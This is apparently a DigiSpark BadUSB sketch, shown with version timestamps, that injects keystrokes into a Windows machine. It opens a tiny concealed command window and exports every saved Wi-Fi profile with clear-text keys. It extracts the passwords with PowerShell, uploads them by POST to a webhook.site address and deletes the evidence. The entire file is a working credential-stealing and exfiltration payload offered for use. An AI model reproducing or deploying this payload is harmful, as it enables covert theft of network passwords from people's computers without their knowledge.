2018-12-21 20:41:52 +00:00
/*
Following payload will grab saved Wifi password and will send them to your hosted webhook .
*/
# include "DigiKeyboard.h"
void setup ( ) {
pinMode ( 1 , OUTPUT ) ; //LED on Model A
}
void loop ( ) {
DigiKeyboard . update ( ) ;
DigiKeyboard . sendKeyStroke ( 0 ) ;
DigiKeyboard . delay ( 3000 ) ;
DigiKeyboard . sendKeyStroke ( KEY_R , MOD_GUI_LEFT ) ; //start run
DigiKeyboard . delay ( 100 ) ;
DigiKeyboard . println ( " cmd /k mode con: cols=15 lines=1 " ) ; //smallest cmd window possible for trying to making it as less noticeable as possible
DigiKeyboard . delay ( 500 ) ;
DigiKeyboard . println ( " cd %temp% " ) ; //Jumping to temporary dir
DigiKeyboard . delay ( 300 ) ;
DigiKeyboard . println ( " netsh wlan export profile key=clear " ) ; //grabbing all the saved wifi passwd and saving them in temporary dir
DigiKeyboard . delay ( 500 ) ;
2021-02-05 10:10:15 +00:00
DigiKeyboard . println ( " powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > Wi-Fi-PASS " ) ; //Extracting all password and saving them in Wi-Fi-Pass file in temporary dir
2018-12-21 20:41:52 +00:00
DigiKeyboard . delay ( 500 ) ;
DigiKeyboard . println ( " powershell Invoke-WebRequest -Uri https://webhook.site/<ADD-WEBHOOK-ADDRESS-HERE> -Method POST -InFile Wi-Fi-PASS " ) ; //Submitting all passwords on hook
DigiKeyboard . delay ( 1000 ) ;
2021-02-05 10:11:39 +00:00
DigiKeyboard . println ( " del Wi-* /s /f /q " ) ; //cleaning up all the mess
2018-12-21 20:41:52 +00:00
DigiKeyboard . delay ( 500 ) ;
DigiKeyboard . println ( " exit " ) ;
DigiKeyboard . delay ( 100 ) ;
digitalWrite ( 1 , HIGH ) ; //turn on led when program finishes
DigiKeyboard . delay ( 90000 ) ;
digitalWrite ( 1 , LOW ) ;
DigiKeyboard . delay ( 5000 ) ;
}